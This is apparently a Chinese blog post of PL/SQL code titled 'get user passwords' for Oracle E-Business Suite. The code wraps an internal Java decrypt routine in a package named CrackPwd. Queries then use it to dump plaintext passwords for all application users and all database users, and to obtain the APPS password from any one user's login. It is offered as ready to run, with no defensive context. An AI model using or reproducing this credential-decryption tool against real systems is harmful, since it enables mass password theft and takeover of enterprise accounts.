获取用户密码

 

--获得 用户密码--------------- begin -------------------------------------------

CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER
AS
     FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
        RETURN VARCHAR2;
END CrackPwd;

CREATE OR REPLACE PACKAGE BODY CrackPwd
AS
     FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
        RETURN VARCHAR2
     AS
        LANGUAGE JAVA
        NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END CrackPwd;


SET SERVEROUTPUT ON
DECLARE
    guestUserPwd VARCHAR2(200);
    guestUserName VARCHAR2(100);
    guestFndPwd VARCHAR2(100);
    guestEncFndPwd VARCHAR2(100);
    delim NUMBER;
BEGIN
guestUserPwd :='GUEST/ORACLE';--Can any user password
IF    guestUserPwd IS NULL THEN
           guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));
    END IF;
    delim := INSTR(guestUserPwd,'/');
    guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
     SELECT encrypted_foundation_password INTO guestEncFndPwd
    FROM fnd_user_view
    WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
      (end_date IS NULL OR end_date > SYSDATE);
       guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
      IF NOT (guestFndPwd IS NULL) THEN
         DBMS_OUTPUT.put_line(guestFndPwd);
      END IF;
END;


--6. 通过上面建立的Package取得所有Oracle ERP Application User 密码的方法
SELECT user_name,CrackPwd.getpwd('APPS',ENCRYPTED_USER_PASSWORD)    pwd    FROM    APPS.fnd_user
--7. 通过上面建立的Package取得所有Oracle ERP Database User密码的方法
select fou.oracle_username,CrackPwd.getpwd('APPS',encrypted_oracle_password) pwd
from    APPS.fnd_oracle_userid fou order by fou.oracle_username


/*
4.通过任何一个User name/password取得APPS密码的方法
SET SERVEROUTPUT ON
DECLARE
    guestUserPwd VARCHAR2(200);
    guestUserName VARCHAR2(100);
    guestFndPwd VARCHAR2(100);
    guestEncFndPwd VARCHAR2(100);
    delim NUMBER;
BEGIN
guestUserPwd :='GUEST/ORACLE';--Can any user password
IF    guestUserPwd IS NULL THEN
           guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));
    END IF;
    delim := INSTR(guestUserPwd,'/');
    guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
     SELECT encrypted_foundation_password INTO guestEncFndPwd
    FROM fnd_user_view
    WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
      (end_date IS NULL OR end_date > SYSDATE);
       guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
      IF NOT (guestFndPwd IS NULL) THEN
         DBMS_OUTPUT.put_line(guestFndPwd);
      END IF;
END;

注: guestUserPwd :='GUEST/ORACLE';--Can any user password
       上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开
以上程序可以用toad执行


5.通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法
SET SERVEROUT ON
DECLARE
     v_encrypted_pwd     VARCHAR2 (100);
     v_apps_pwd          VARCHAR2 (100);
     v_user_pwd          VARCHAR (100);
BEGIN
     v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58
3C10B916D88062771250F4BE653891CA90671C74187B132118335';
--get    ENCRYPTED_USER_PASSWORD from fnd_user
     IF v_apps_pwd IS NULL
     THEN
        v_apps_pwd := 'APPS';
     END IF;
     v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);
     DBMS_OUTPUT.put_line (v_user_pwd);
END;

*/

---------------------------------- end ---------------------------------------

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值